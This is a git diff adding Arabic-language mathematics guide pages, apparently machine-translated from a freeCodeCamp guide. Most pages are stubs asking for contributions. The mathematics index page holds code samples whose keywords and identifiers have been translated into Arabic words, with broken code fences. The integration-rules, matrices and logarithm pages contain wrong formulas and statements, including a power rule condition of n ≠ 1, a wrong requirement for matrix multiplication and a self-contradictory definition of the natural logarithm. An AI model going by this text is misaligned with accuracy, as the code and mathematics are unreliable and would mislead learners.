diff --git a/client/src/guide/arabic/mathematics/identifying-the-45-45-90-degree-triangle/index.md b/client/src/guide/arabic/mathematics/identifying-the-45-45-90-degree-triangle/index.md
new file mode 100644
index 0000000000..8024499da6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/identifying-the-45-45-90-degree-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Identifying the 45 45 90 Degree Triangle
+localeTitle: تحديد 45 45 90 مثلث درجة
+---
+## تحديد 45 45 90 مثلث درجة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/identifying-the-45-45-90-degree-triangle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/imaginary-numbers/index.md b/client/src/guide/arabic/mathematics/imaginary-numbers/index.md
new file mode 100644
index 0000000000..938a8c1b28
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/imaginary-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Imaginary Numbers
+localeTitle: أرقام وهمية
+---
+## أرقام وهمية
+
+يتم تعريف رقم Imaginary "i" ببساطة على أنه الجذر التربيعي لـ -1. وبعبارة أخرى أنا 2 = -1. أحد الأسباب التي قد تستخدمها أرقام وهمية (أو أرقام معقدة كما يطلق عليها البعض الآخر) هو أنه يمكنك التعامل مع المعادلات أو التعبيرات التي تحتوي على الجذر التربيعي لـ -1.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/implicit-differentiation/index.md b/client/src/guide/arabic/mathematics/implicit-differentiation/index.md
new file mode 100644
index 0000000000..8fd2b1189d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/implicit-differentiation/index.md
@@ -0,0 +1,11 @@
+---
+title: Implicit Differentiation
+localeTitle: الاشتقاق الضمني
+---
+## الاشتقاق الضمني
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/implicit-differentiation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/improper-fractions/index.md b/client/src/guide/arabic/mathematics/improper-fractions/index.md
new file mode 100644
index 0000000000..f44bc32aca
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/improper-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Improper Fractions
+localeTitle: الكسور غير لائق
+---
+## الكسور غير لائق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/improper-fractions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/indefinite-integral-of-1-over-x/index.md b/client/src/guide/arabic/mathematics/indefinite-integral-of-1-over-x/index.md
new file mode 100644
index 0000000000..bfbe8cb68c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/indefinite-integral-of-1-over-x/index.md
@@ -0,0 +1,11 @@
+---
+title: Indefinite Integral of 1 Over X
+localeTitle: غير محدود لا يتجزأ من 1 أكثر من العاشر
+---
+## غير محدود لا يتجزأ من 1 أكثر من العاشر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/indefinite-integral-of-1-over-x/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/index.md b/client/src/guide/arabic/mathematics/index.md
new file mode 100644
index 0000000000..10605db30d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/index.md
@@ -0,0 +1,96 @@
+---
+title: Mathematics
+localeTitle: الرياضيات
+---
+## الرياضيات
+
+في هذا القسم ، لدينا أدلة لمجموعة واسعة من المفاهيم الرياضية.
+
+### الرياضيات في البرمجة
+
+على الرغم من أنه من الممارسات الجيدة إنشاء وظائف رياضية بنفسك ، فهناك مكتبات رياضية متوفرة للاستخدام في العديد من لغات البرمجة. هذه لديك وظائف محددة سلفا يمكنك استخدامها لتنفيذ العمليات الحسابية. في البرمجة ، عادة ما تغطي موضوعات مثل هذه في دورات القسم العلوي نظرية الحساب ، وتصميم الخوارزميات ، وتصميم لغة الكمبيوتر.
+
+#### تسلسل فيبوناتشي (وظائف توليد)
+
+نحن نعلم جميعا أن التمرين العكسي يبدأ بحل تسلسل فيبوناتشي. وهو أيضًا المثال الأول الذي يوضح قوة البرمجة الديناميكية. لذا ، فإن الحالة الخاصة لفئة من الرياضيات تعرف باسم توليد الوظائف. إذن ، ما سنناقشه هنا ينطبق بشكل عام على جميع وظائف التوليد. هناك مفهوم في الرياضيات أن "كل دالة توليد لها تسلسل وكل تسلسل له وظيفة توليد". لكن المشكلة تكمن في الجزء الثاني. ليس من السهل دائمًا إيجاد المولدات بشكل عام. لكي نتذكر ذلك ، أرسم تناظرًا للرقم العقلاني غير المنتهي "إذا كنت تعرف الرقم بالشكل العشري ، فليس من السهل العثور على الشكل الكسري المقابل ، ولكن إذا عرفنا الكسر ، فمن السهل دائمًا العثور على الرقم العشري شكل". لذلك ، فإننا ندرس بشكل عام بعض وظائف التوليد الجميلة ، من حيث تسلسلها. لماذا ا؟ لأننا نعرف أن التسلسلات يمكن التعامل معها بسهولة من خلال الكثير من النماذج الخوارزمية. بعض التسلسلات الشهيرة المعروفة هي فيبوناتشي ، همامرد (على غرار الكاتالونية) ، إلخ.
+
+### بما في ذلك مكتبات الرياضيات
+
+سنوضح لك في هذا القسم كيفية تضمين مكتبة الرياضيات القياسية بلغات مختلفة ، بما في ذلك مثال قصير عن كيفية استخدامها.
+
+#### C
+
+\`\` \`ج باستخدام System.Math؛
+
+حاسبة الطبقة العامة {
+
+private int \[\] array = {1، 2، 3، 4، 5}؛
+
+private int CalculatePoweredArray (int int، int \[\] arr) { var poweredArray = arr؛ foreach (int nmbr in poweredArray) { nmbr = Math.Pow (nmbr، power)؛ // الوسيطة الأولى هي الرقم المراد رفعه ، والوسيطة الثانية هي القوة } عودة PoweredArray؛ }
+
+}
+
+ `Calling the function with a power of 3 will give these results: 
+ [1, 8, 27, 64, 125] 
+ 
+ Documentation reference: <a href='https://msdn.microsoft.com/en-us/library/system.math(v=vs.110' target='_blank' rel='nofollow'>MSDN</a>.aspx) 
+ 
+ #### JavaScript 
+ With Node.js 
+` 
+
+جافا سكريبت var math = requires ('mathjs')؛
+
+ `In the browser 
+` 
+
+أتش تي أم أل
+
+// use the math.js libary math.sqrt(-4); // result: 2i
+
+ `Documentation reference: <a href='http://mathjs.org/docs/index.html' target='_blank' rel='nofollow'>Math.js documentation</a> 
+ 
+ #### C++ 
+` 
+
+حزب الشعب الكمبودي
+
+# تتضمن
+
+ `Documentation reference: <a href='http://www.cplusplus.com/reference/cmath/' target='_blank' rel='nofollow'>cplusplus reference</a> 
+ 
+ #### Python 
+` 
+
+الثعبان
+
+> > > استيراد الرياضيات math.sqrt (9) // يأخذ جذور إيجابية فقط في الاعتبار 3.0 math.pi // يمكنك أيضا استخدام الحروف الساكنة الرياضية مثل pi و e +3.141592653589793 math.radians (90) // يحول درجات إلى راديان +1.5707963267948966
+
+ ``In addition to the standard `math` module, there are several other mathematical helper libraries available on [PyPI](https://pypi.org/). For example: 
+`` 
+
+الصدف $ pip تثبيت وعر الثعبان $
+
+> > > استيراد numpy كما np np.zeros ((3،4))
+
+ `This returns a 3x4 array populated with 0s. 
+ 
+ #### Java 
+` 
+
+جافا استيراد java.lang.Math
+
+ ``The `math` module can also be imported as follows, and the usage difference is illustrated: 
+`` 
+
+الثعبان
+
+> > > من استيراد الرياضيات \* الجذر التربيعي (4) 2.0 متزمت +3.141592653589793
+
+\`\` \`
+
+مرجع التوثيق: [بايثون 2](https://docs.python.org/2/library/math.html) | [بايثون 3](https://docs.python.org/3/library/math.html)
+
+### موارد إضافية
+
+يمكن الاطلاع على تصورات متحركة للمفاهيم الرياضية في [3 Blue 1 Brown](http://www.3blue1brown.com/) و [Khan Academy](https://www.khanacademy.org/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/inductive-and-deductive-reasoning/index.md b/client/src/guide/arabic/mathematics/inductive-and-deductive-reasoning/index.md
new file mode 100644
index 0000000000..50dafd854a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/inductive-and-deductive-reasoning/index.md
@@ -0,0 +1,11 @@
+---
+title: Inductive and Deductive Reasoning
+localeTitle: التفكير الاستقرائي والاستنتاجي
+---
+## التفكير الاستقرائي والاستنتاجي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inductive-and-deductive-reasoning/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/infinite-geometric-series/index.md b/client/src/guide/arabic/mathematics/infinite-geometric-series/index.md
new file mode 100644
index 0000000000..34e1d4ff43
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/infinite-geometric-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Infinite Geometric Series
+localeTitle: سلسلة لا حصر لها هندسية
+---
+## سلسلة لا حصر لها هندسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/infinite-geometric-series/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/integral/index.md b/client/src/guide/arabic/mathematics/integral/index.md
new file mode 100644
index 0000000000..ed214c373d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/integral/index.md
@@ -0,0 +1,11 @@
+---
+title: Integral
+localeTitle: متكامل
+---
+## متكامل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/integral/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/integration-by-parts/index.md b/client/src/guide/arabic/mathematics/integration-by-parts/index.md
new file mode 100644
index 0000000000..5d93830907
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/integration-by-parts/index.md
@@ -0,0 +1,11 @@
+---
+title: Integration by Parts
+localeTitle: تكامل اجزاء
+---
+## تكامل اجزاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/integration-by-parts/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/integration-rules/index.md b/client/src/guide/arabic/mathematics/integration-rules/index.md
new file mode 100644
index 0000000000..aeccdbfc41
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/integration-rules/index.md
@@ -0,0 +1,31 @@
+---
+title: Integration Rules
+localeTitle: قواعد التكامل
+---
+## قواعد التكامل
+
+كما هو الحال مع التمايز ، نستخدم مجموعة متنوعة من القواعد عند دمج الوظائف. فيما يلي بعض من أكثرها شيوعًا.
+
+**القاعدة الثابتة:** dk dx = kx + C حيث k هي ثابت
+
+**قاعدة السلطة:** ∫ x n dx = + x n + 1 ⁄ n + 1 + C عند n ≠ 1
+
+**قاعدة أسيّة:** ∫ e kx dx = 1 ⁄ kx e kx + C حيث k هي ثابت
+
+**القواعد المثلثية:**
+
+∫ cos (x) dx = sin (x) + C
+
+∫ sin (x) dx = -cos (x) + C
+
+**قواعد الجمع / الفرق:**
+
+∫ \[f (x) + g (x)\] dx = ∫f (x) dx + ∫g (x) dx
+
+∫ \[f (x) - g (x)\] dx = ∫f (x) dx - ∫g (x) dx
+
+#### معلومات اكثر:
+
+[القواعد الأساسية مع أمثلة](http://archive.learnhigher.ac.uk/resources/files/Numeracy/Integration_webversion.pdf)
+
+[في دليل العمق ل Integrals](http://tutorial.math.lamar.edu/pdf/Calculus_Cheat_Sheet_Integrals.pdf)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intercepts-from-an-equation/index.md b/client/src/guide/arabic/mathematics/intercepts-from-an-equation/index.md
new file mode 100644
index 0000000000..85612f5b79
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intercepts-from-an-equation/index.md
@@ -0,0 +1,11 @@
+---
+title: Intercepts from an Equation
+localeTitle: اعتراضات من معادلة
+---
+## اعتراضات من معادلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intercepts-from-an-equation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/interior-angles-of-polygons/index.md b/client/src/guide/arabic/mathematics/interior-angles-of-polygons/index.md
new file mode 100644
index 0000000000..b7883850e4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/interior-angles-of-polygons/index.md
@@ -0,0 +1,11 @@
+---
+title: Interior Angles of Polygons
+localeTitle: زوايا الداخلية للمضلعات
+---
+## زوايا الداخلية للمضلعات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/interior-angles-of-polygons/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intermediate-value-theorem/index.md b/client/src/guide/arabic/mathematics/intermediate-value-theorem/index.md
new file mode 100644
index 0000000000..230624df2b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intermediate-value-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Intermediate Value Theorem
+localeTitle: نظرية القيمة المتوسطة
+---
+## نظرية القيمة المتوسطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intermediate-value-theorem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/interquartile-range-iqr/index.md b/client/src/guide/arabic/mathematics/interquartile-range-iqr/index.md
new file mode 100644
index 0000000000..f39b2ce96e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/interquartile-range-iqr/index.md
@@ -0,0 +1,11 @@
+---
+title: Interquartile Range Iqr
+localeTitle: المدى Interquartile Iqr
+---
+## المدى Interquartile Iqr
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/interquartile-range-iqr/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intervals/index.md b/client/src/guide/arabic/mathematics/intervals/index.md
new file mode 100644
index 0000000000..a384daed6f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intervals/index.md
@@ -0,0 +1,11 @@
+---
+title: Intervals
+localeTitle: فترات
+---
+## فترات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intervals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-absolute-value-equations-and-graphs/index.md b/client/src/guide/arabic/mathematics/intro-to-absolute-value-equations-and-graphs/index.md
new file mode 100644
index 0000000000..116eeb4f11
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-absolute-value-equations-and-graphs/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Absolute Value Equations and Graphs
+localeTitle: مقدمة إلى معادلات القيمة المطلقة والرسوم البيانية
+---
+## مقدمة إلى معادلات القيمة المطلقة والرسوم البيانية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-absolute-value-equations-and-graphs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-absolute-value-inequalities/index.md b/client/src/guide/arabic/mathematics/intro-to-absolute-value-inequalities/index.md
new file mode 100644
index 0000000000..d94a1bb2a6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-absolute-value-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Absolute Value Inequalities
+localeTitle: مقدمة إلى عدم المساواة القيمة المطلقة
+---
+## مقدمة إلى عدم المساواة القيمة المطلقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-absolute-value-inequalities/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-arcsine/index.md b/client/src/guide/arabic/mathematics/intro-to-arcsine/index.md
new file mode 100644
index 0000000000..b51acd387d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-arcsine/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Arcsine
+localeTitle: مقدمة ل arcsine
+---
+## مقدمة ل arcsine
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-arcsine/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-composing-functions/index.md b/client/src/guide/arabic/mathematics/intro-to-composing-functions/index.md
new file mode 100644
index 0000000000..b7eac48635
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-composing-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Composing Functions
+localeTitle: مقدمة في تأليف الوظائف
+---
+## مقدمة في تأليف الوظائف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-composing-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-graphing-two-variable-inequalities/index.md b/client/src/guide/arabic/mathematics/intro-to-graphing-two-variable-inequalities/index.md
new file mode 100644
index 0000000000..f032037de8
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-graphing-two-variable-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Graphing Two Variable Inequalities
+localeTitle: مقدمة إلى الرسوم البيانية اثنين من عدم المساواة المتغيرة
+---
+## مقدمة إلى الرسوم البيانية اثنين من عدم المساواة المتغيرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-graphing-two-variable-inequalities/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-inverse-functions/index.md b/client/src/guide/arabic/mathematics/intro-to-inverse-functions/index.md
new file mode 100644
index 0000000000..c1eab28b86
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-inverse-functions/index.md
@@ -0,0 +1,17 @@
+---
+title: Intro to Inverse Functions
+localeTitle: مقدمة لوظائف معكوس
+---
+## مقدمة لوظائف معكوس
+
+لنفترض أنك تحاول عكس y = 3x على السطر y = x. ماذا ستكون معادلة الخط؟ كما ترى في الصورة أدناه ، سيكون y = 1 / 3x. ولكن لماذا هو كذلك؟ إذا قمت بتبديل x و y مع بعضها البعض وحلها من أجل y ، يمكنك أن تجد أن المعادلة ستكون هي نفسها. هذا هو ما يمكن أن يسمى وظيفة معكوس.
+
+![](http://d2r5da613aq50s.cloudfront.net/wp-content/uploads/369430.image1.jpg)
+
+[ساعد مجتمعنا في توسيع هذه المقالة](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-inverse-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+"كيفية الرسم البياني معكوس لوظيفة". [Dummies.com](http://www.dummies.com/education/math/calculus/how-to-graph-the-inverse-of-a-function/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-linear-equation-standard-form/index.md b/client/src/guide/arabic/mathematics/intro-to-linear-equation-standard-form/index.md
new file mode 100644
index 0000000000..fc13cee1ca
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-linear-equation-standard-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Linear Equation Standard Form
+localeTitle: مقدمة إلى المعادلة الخطية
+---
+## مقدمة إلى المعادلة الخطية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-linear-equation-standard-form/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-logarithm-properties/index.md b/client/src/guide/arabic/mathematics/intro-to-logarithm-properties/index.md
new file mode 100644
index 0000000000..d2dd0fc03e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-logarithm-properties/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Logarithm Properties
+localeTitle: مقدمة لوغاريتم للعقارات
+---
+## مقدمة لوغاريتم للعقارات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-logarithm-properties/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-logarithms/index.md b/client/src/guide/arabic/mathematics/intro-to-logarithms/index.md
new file mode 100644
index 0000000000..7a8b7bb4a4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-logarithms/index.md
@@ -0,0 +1,41 @@
+---
+title: Intro to Logarithms
+localeTitle: مقدمة في اللوغاريتمات
+---
+## مقدمة في اللوغاريتمات
+
+اللوغاريتمات هي وظائف حسابية تستخدم لإيجاد القوة التي يتم رفع القاعدة إليها من أجل الحصول على مخرجات محددة.
+
+![الرسم البياني السجل](https://cdn.kastatic.org/googleusercontent/CfdIRZu_iMA_DFp7EilcK9igLFA42jd2hksGilRMBdINxoLKxj2LAWCjQxvj8m9E3Ik6tmVfPAFIx4whUTPp-KZw)
+
+_هنا في المثال المتغير b هو القاعدة بينما المتغير a هو الناتج المرغوب والمتغير c هو الأس._
+
+يتم استخدام السجلات في أشياء مختلفة في العالم الحقيقي. يتم استخدامها في مقياس درجة الحموضة ، وقياس شدة الزلازل (مقياس ريختر) والعديد من الأشياء الأخرى.
+
+مثال على سجلات في بيثون:
+
+ `import math 
+ 
+ # math.log(value, base) - outputs exponent 
+ math.log(100, 10) #outputs 2 
+ math.log(2, 2) #outputs 1 
+` 
+
+#### مصادر:
+
+*   https://betterexplained.com/articles/using-logs-in-the-real-world/
+*   https://www.khanacademy.org/math/algebra2/exponential-and-logarithmic-functions/introduction-to-logarithms/a/intro-to-logarithms
+
+### تعريف اللوغاريتم
+
+يشير اللوغاريتم لعدد **x** ، _سجل_ مكتوب _( **x** )_ ، عادةً إلى الرقم الذي يجب استخدامه كقوة أكثر من 10 للحصول على **x** . لنفترض أنك تريد أن تجد _log (10)_ . هذا يعني أنك تريد العثور على الرقم الذي يجب عليك رفعه إلى 10 للحصول على 10. وهذا يعطينا معادلة: _log (10) = x_ .
+
+يمكننا استخدام هذا وتطبيقه كقوة من 10 على كلا الجانبين. هذا يغير المعادلة إلى: _10 log (10) = 10 x_
+
+سيتم عرض _10 log ( **x** )_ ، حيث **x** أي رقم ، **x** ، حيث يلغي _10 log_ . هذا يعني أن المعادلة لدينا هي الآن _10 = 10 س_
+
+وبالنظر إلى أن _10 x_ تساوي 10 أضعاف نفسه _x_ مرة ، فهذا يعني أن 10 يجب أن تتضاعف مع ما يكفي من الأزمنة بحيث تكون 10 مرات بالضبط ، و _x_ بالتالي 1. وهذا لأن _10 1 = 10_
+
+### تعريف اللوغاريثم الطبيعي
+
+هذا هو بالضبط نفس تعريف اللوغاريثم ، ما عدا الأرقام المستخدمة. في اللوغاريثم الطبيعي ، يكون العدد الأساسي عادة 10 ، بينما في اللوغاريثم الطبيعي ، غالباً ما يكتب _ln_ ، يستخدم _e_ ، رقم euler كقاعدة. هذا يعني ذاك _ln (e) = 1_ ، بدلاً من _log (10) = 1_ . لذلك ، فإننا بدلاً من ذلك نجد القوة التي تحتاج إليها لرفع _e_ إلى _ln ( **x** )_ .
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-long-division-of-polynomials/index.md b/client/src/guide/arabic/mathematics/intro-to-long-division-of-polynomials/index.md
new file mode 100644
index 0000000000..e4e44e66cd
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-long-division-of-polynomials/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Long Division of Polynomials
+localeTitle: مقدمة إلى قسم طويل من كثيرات الحدود
+---
+## مقدمة إلى قسم طويل من كثيرات الحدود
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-long-division-of-polynomials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-matrices/index.md b/client/src/guide/arabic/mathematics/intro-to-matrices/index.md
new file mode 100644
index 0000000000..97f98c1f5a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-matrices/index.md
@@ -0,0 +1,23 @@
+---
+title: Intro to Matrices
+localeTitle: مقدمة إلى المصفوفات
+---
+## مقدمة إلى المصفوفات
+
+المصفوفات تتكون من صفيف ثنائي الأبعاد ، أو أفضل ، مصفوفة مستطيلة. أدناه يمكنك أن ترى كيف نظمت لها.
+
+![نص بديل](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bb/Matrix.svg/494px-Matrix.svg.png)
+
+يتكون من الصفوف والأعمدة. إذا كنت تريد الرقم 7 من المصفوفة أدناه ، فإنك تحتاج إلى الحصول على العنصر في posicion (2،3) ، الصف الثاني ، العمود الثالث.
+
+![نص بديل](https://wikimedia.org/api/rest_v1/media/math/render/svg/55375914df4213b621f22cb1e5a0d6eb09af29df)
+
+تعمل العمليات المعتادة في المصفوفات ، ولكن يتم إجراء عملية الجمع والطرح على عناصر نفس الموضع (لذا يجب أن يكون للمصفوفات نفس الحجم). الضرب مختلف لذا فإن المصفوفة A x matrix B، A تحتاج إلى أن يكون لها نفس الحجم من B.
+
+التبديل هو عمليات inver الصفوف والأعمدة من مصفوفة.
+
+![نص بديل](https://wikimedia.org/api/rest_v1/media/math/render/svg/51f6dba024e104b412ed0562163ca9a11fcb9463)
+
+#### معلومات اكثر:
+
+[ويكيبيديا](https://en.wikipedia.org/wiki/Matrix_(mathematics))
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-matrix-multiplication/index.md b/client/src/guide/arabic/mathematics/intro-to-matrix-multiplication/index.md
new file mode 100644
index 0000000000..aaee66ce6c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-matrix-multiplication/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Matrix Multiplication
+localeTitle: مقدمة إلى Matrix Multiplication
+---
+## مقدمة إلى Matrix Multiplication
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-matrix-multiplication/index.md) .
+
